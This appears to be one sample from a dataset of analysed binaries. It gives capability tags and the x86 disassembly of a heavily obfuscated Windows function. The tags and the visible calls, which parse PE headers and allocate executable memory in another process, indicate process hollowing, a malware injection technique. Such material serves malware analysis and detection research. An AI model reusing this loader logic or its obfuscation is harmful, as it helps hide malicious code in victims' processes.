Function at 0x1000b900
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x294
mov eax, dword [0x10093280]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x29c], 0xf9719d0e
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x2a0], eax
sub eax, 0x807c4bd4
je 0x100140e1
jmp 0x1000b93c
mov eax, dword [ebp - 0x2a0]
sub eax, 0x808a4dad
je 0x100150d9
jmp 0x1000b952
mov eax, dword [ebp - 0x2a0]
sub eax, 0x80b3afad
je 0x10017feb
jmp 0x1000b968
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81191321
je 0x1001494b
jmp 0x1000b97e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81283d5d
je 0x10019c9a
jmp 0x1000b994
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81b1b202
je 0x100182f3
jmp 0x1000b9aa
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81c15796
je 0x1001863e
jmp 0x1000b9c0
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81cdd7ea
je 0x10012b64
jmp 0x1000b9d6
mov eax, dword [ebp - 0x2a0]
sub eax, 0x81d866e5
je 0x1001232d
jmp 0x1000b9ec
mov eax, dword [ebp - 0x2a0]
sub eax, 0x82561d2a
je 0x100154cf
jmp 0x1000ba02
mov eax, dword [ebp - 0x2a0]
sub eax, 0x828d5ff6
je 0x100148eb
jmp 0x1000ba18
mov eax, dword [ebp - 0x2a0]
sub eax, 0x82f1d943
je 0x10011055
jmp 0x1000ba2e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x83752035
je 0x10015d22
jmp 0x1000ba44
mov eax, dword [ebp - 0x2a0]
sub eax, 0x83801121
je 0x10018b34
jmp 0x1000ba5a
mov eax, dword [ebp - 0x2a0]
sub eax, 0x842c9640
je 0x10017dc6
jmp 0x1000ba70
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8432b32a
je 0x10017d32
jmp 0x1000ba86
mov eax, dword [ebp - 0x2a0]
sub eax, 0x844e9198
je 0x10016cca
jmp 0x1000ba9c
mov eax, dword [ebp - 0x2a0]
sub eax, 0x844ea464
je 0x10012aba
jmp 0x1000bab2
mov eax, dword [ebp - 0x2a0]
sub eax, 0x849f72d3
je 0x10019b44
jmp 0x1000bac8
mov eax, dword [ebp - 0x2a0]
sub eax, 0x84fbfaa6
je 0x10013ee7
jmp 0x1000bade
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8500e724
je 0x10019f04
jmp 0x1000baf4
mov eax, dword [ebp - 0x2a0]
sub eax, 0x85034016
je 0x10012a99
jmp 0x1000bb0a
mov eax, dword [ebp - 0x2a0]
sub eax, 0x850c4687
je 0x1001a3c7
jmp 0x1000bb20
mov eax, dword [ebp - 0x2a0]
sub eax, 0x853bae42
je 0x10010df0
jmp 0x1000bb36
mov eax, dword [ebp - 0x2a0]
sub eax, 0x87e8eb99
je 0x10016fc3
jmp 0x1000bb4c
mov eax, dword [ebp - 0x2a0]
sub eax, 0x881baa32
je 0x10012f4b
jmp 0x1000bb62
mov eax, dword [ebp - 0x2a0]
sub eax, 0x883c4579
je 0x10017d41
jmp 0x1000bb78
mov eax, dword [ebp - 0x2a0]
sub eax, 0x89601a87
je 0x10018f4e
jmp 0x1000bb8e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x89dc197b
je 0x100118c0
jmp 0x1000bba4
mov eax, dword [ebp - 0x2a0]
sub eax, 0x89ea5763
je 0x10011874
jmp 0x1000bbba
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8abaf2db
je 0x10010ff5
jmp 0x1000bbd0
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8b3aac79
je 0x10016bee
jmp 0x1000bbe6
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8b44ac28
je 0x10011adb
jmp 0x1000bbfc
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8b6e5a17
je 0x1001614b
jmp 0x1000bc12
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8bd8634e
je 0x100129bd
jmp 0x1000bc28
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8cb8eaeb
je 0x10017e0a
jmp 0x1000bc3e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8cddbc04
je 0x1001779f
jmp 0x1000bc54
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8d0bdd6f
je 0x10014656
jmp 0x1000bc6a
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8d0edb60
je 0x10013382
jmp 0x1000bc80
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8d165872
je 0x100120a8
jmp 0x1000bc96
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8d4ff1f0
je 0x10017fdc
jmp 0x1000bcac
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8dd0623c
je 0x1001468d
jmp 0x1000bcc2
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8e3ec012
je 0x100178e5
jmp 0x1000bcd8
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8ecd2168
je 0x100192a1
jmp 0x1000bcee
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8f1837bb
je 0x1001690d
jmp 0x1000bd04
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8f2840ec
je 0x100113f7
jmp 0x1000bd1a
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8f4c4ab9
je 0x10011dff
jmp 0x1000bd30
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8fb697bd
je 0x100185c8
jmp 0x1000bd46
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8fda1710
je 0x10014043
jmp 0x1000bd5c
mov eax, dword [ebp - 0x2a0]
sub eax, 0x8fea3a73
je 0x1001160a
jmp 0x1000bd72
mov eax, dword [ebp - 0x2a0]
sub eax, 0x91c69420
je 0x10011bb0
jmp 0x1000bd88
mov eax, dword [ebp - 0x2a0]
sub eax, 0x91e355d0
je 0x100156b3
jmp 0x1000bd9e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x92831567
je 0x10010543
jmp 0x1000bdb4
mov eax, dword [ebp - 0x2a0]
sub eax, 0x92b71fda
je 0x10016661
jmp 0x1000bdca
mov eax, dword [ebp - 0x2a0]
sub eax, 0x930823eb
je 0x1001660f
jmp 0x1000bde0
mov eax, dword [ebp - 0x2a0]
sub eax, 0x9382cb82
je 0x10017091
jmp 0x1000bdf6
mov eax, dword [ebp - 0x2a0]
sub eax, 0x93a3aa8a
je 0x100143cf
jmp 0x1000be0c
mov eax, dword [ebp - 0x2a0]
sub eax, 0x93edcc5e
je 0x10019ffd
jmp 0x1000be22
mov eax, dword [ebp - 0x2a0]
sub eax, 0x940caf8d
je 0x10013ed8
jmp 0x1000be38
mov eax, dword [ebp - 0x2a0]
sub eax, 0x9433e3be
je 0x10010810
jmp 0x1000be4e
mov eax, dword [ebp - 0x2a0]
sub eax, 0x944c9b0b
je 0x10016eee
jmp 0x1000be64
mov eax, dword [ebp - 0x2a0]
sub eax, 0x944d2681
je 0x10016838
jmp 0x1000be7a
mov eax, dword [ebp - 0x2a0]
sub eax, 0x94a2f834
je 0x10015739
jmp 0x1000be90
mov eax, dword [ebp - 0x2a0]
sub eax, 0x94b78d32
je 0x10017a6e
jmp 0x1000bea6
mov eax, dword [ebp - 0x2a0]
sub eax, 0x95cac7e6
je 0x10017e55
mov byte [ebp - 0x1e6], 1
mov al, byte [ebp - 0x1e6]
and al, 1
mov byte [ebp - 0x1b7], al
mov dword [ebp - 0x29c], 0xe9dc9010
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x2dae8211
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x25798f6f
mov ecx, 0xbf76e346
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xaa61fc6d
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
add edx, 0xa2ecc86f
sub edx, 1
sub edx, 0xa2ecc86f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xed75c66b
mov ecx, 0x72374fb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
sub edx, 0x84c1f74e
sub edx, 1
add edx, 0x84c1f74e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55153f09
mov ecx, 0x1564404b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov byte [ebp - 0x1f1], 1
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
add edx, 0x69012494
sub edx, 1
sub edx, 0x69012494
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcf483776
mov ecx, 0x45a2bcbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov edx, dword [ebp - 0x1a4]
mov eax, 0x89dc197b
mov ecx, 0xf69be575
cmp edx, 0xefb8ebe
cmovg eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x29c], 0x2cff3190
jmp 0x1001a489
mov byte [ebp - 0x1f9], 0
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
sub edx, 0x20c91e2a
sub edx, 1
add edx, 0x20c91e2a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1453d2de
mov ecx, 0x9a887bfd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
add edx, 0x97d81d23
sub edx, 1
sub edx, 0x97d81d23
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x49b745a8
mov ecx, 0x2233218e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov edx, dword [ebp - 0x190]
mov eax, 0xea2eb168
mov ecx, 0x5dbe204b
cmp edx, 0xefb8ee2
cmovg eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x200], 0
mov dword [ebp - 0x29c], 0x4e06860
jmp 0x1001a489
mov dl, byte [ebp - 0x17d]
mov eax, 0xb1005748
mov ecx, 0xc4936fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc3ce834c
mov ecx, 0xe67e91e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dl, byte [ebp - 0x165]
mov eax, 0xbaae9756
mov ecx, 0x844ea464
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x20c], 0xefb8eec
mov dword [ebp - 0x29c], 0x8b36e0c
jmp 0x1001a489
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x29c], 0x1ec4d753
jmp 0x1001a489
cmp dword [ebp - 0x210], 0xefb8edc
setle al
and al, 1
mov byte [ebp - 0x15a], al
mov dword [ebp - 0x29c], 0xcc1dcc08
jmp 0x1001a489
mov byte [ebp - 0x211], 0
mov dword [ebp - 0x29c], 0x48573e11
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x84fbfaa6
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67c57f61
mov ecx, 0x9d427977
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [ebp - 0x224]
sub eax, 0x6a5e3a0d
add eax, 1
add eax, 0x6a5e3a0d
mov dword [ebp - 0x134], eax
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
add edx, 0xcefe214
sub edx, 1
sub edx, 0xcefe214
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xab554cd5
mov ecx, 0x73d0b608
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e109298
mov ecx, 0x1ef0e08a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
sub edx, 0x72e19a3f
sub edx, 1
add edx, 0x72e19a3f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee26848d
mov ecx, 0x6e90a200
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dl, byte [ebp - 0x127]
mov eax, 0x1d7b35a5
mov ecx, 0x417769a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xa0640de
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
sub edx, 0xa320deb0
sub edx, 1
add edx, 0xa320deb0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf0060f1
mov ecx, 0x6ed5f346
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xa0640de
jmp 0x1001a489
mov byte [ebp - 0x231], 1
mov dword [ebp - 0x29c], 0xcb7fb560
jmp 0x1001a489
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x29c], 0x2587251a
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xc6ee8d3d
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xc9a4cdd0
jmp 0x1001a489
mov dword [ebp - 0x240], 1
mov dword [ebp - 0x29c], 0xa7b0ad16
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xb6d2909b
jmp 0x1001a489
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x29c], 0x77816e46
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
sub edx, 0xf7305007
sub edx, 1
add edx, 0xf7305007
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x96a42472
mov ecx, 0x6b52fad4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23243349
mov ecx, 0xbc77905d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x43cc264b
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x226741b1
jmp 0x1001a489
mov dl, byte [ebp - 0xf9]
mov eax, 0xbaffc866
mov ecx, 0x3181e2b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
sub edx, 0xa518fcb5
sub edx, 1
add edx, 0xa518fcb5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xee3bff38
mov ecx, 0x595c56b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd768b2a
mov ecx, 0x40bf0bb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x56411aa1
mov ecx, 0x797d1cd2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov byte [ebp - 0x24c], 0
mov dword [ebp - 0x29c], 0x71b94e58
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xac880cc7
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
sub edx, 0xe3d26835
sub edx, 1
add edx, 0xe3d26835
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc12534f6
mov ecx, 0xc751a592
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x883c4579
jmp 0x1001a489
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x59200
call fcn.10008b10
add esp, 8
lea eax, section..data
mov dword [ebp - 0x254], eax
mov eax, dword [ebp - 0x254]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x258]
movzx edx, word [eax]
mov eax, 0x685bdf49
mov ecx, 0x6b54944e
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf4]
add eax, 0xd1cb18c0
add eax, ecx
sub eax, 0xd1cb18c0
mov dword [ebp - 0x25c], eax
mov edx, dword [ebp - 0x25c]
mov eax, 0xe0929844
mov ecx, 0x8cb8eaeb
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x29c], 0x95cac7e6
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x80b3afad
jmp 0x1001a489
mov dword [ebp - 0x29c], 0x2b9baa8d
jmp 0x1001a489
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x29c], 0x9f8666f9
jmp 0x1001a489
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
mov edx, ecx
sub edx, 0x7c85f41e
sub edx, 1
add edx, 0x7c85f41e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc76e6930
mov ecx, 0x81c15796
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov eax, dword [ebp - 0xc8]
movzx ecx, word [eax + 6]
mov eax, dword [ebp - 0xcc]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc1], al
mov ecx, dword [0x10094724]
mov eax, dword [0x10094720]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc76e6930
mov ecx, 0xfa66efc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [ebp - 0xb0]
sub ecx, 0x7d7bcfcf
add ecx, 1
add ecx, 0x7d7bcfcf
mov eax, dword [ebp - 0x1d8]
mov dword [eax], ecx
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
sub edx, 0xf4b18f80
sub edx, 1
add edx, 0xf4b18f80
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3322a2f4
mov ecx, 0x7160036a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x1d0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1e0]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x1cc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x25c]
mov eax, dword [eax + 0x34]
sub ecx, 0x67b765be
sub ecx, eax
add ecx, 0x67b765be
mov eax, dword [ebp - 0x1c8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c4]
mov dword [eax], 0
mov dword [ebp - 0x29c], 0xa123a97b
jmp 0x1001a489
mov eax, dword [0x10094724]
mov ecx, dword [0x10094720]
mov edx, eax
add edx, 0x9864c22a
sub edx, 1
sub edx, 0x9864c22a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x850c4687
mov ecx, 0xdcd69831
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x29c], eax
jmp 0x1001a489
mov dword [ebp - 0x208], 0xefb8f10
mov dword [ebp - 0x29c], 0x78ac1556
jmp 0x1001a489
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x29c], 0xfcc6733b
jmp 0x1001a489
mov dword [ebp - 0x240], 0xefb8ef1
mov dword [ebp - 0x29c], 0x4ae4b67f
jmp 0x1001a489
mov byte [ebp - 0x249], 0
mov dword [ebp - 0x29c], 0xbd1376eb
jmp 0x1001a489
mov dword [ebp - 0x29c], 0xdcd69831
jmp 0x1001a489
jmp 0x1000b920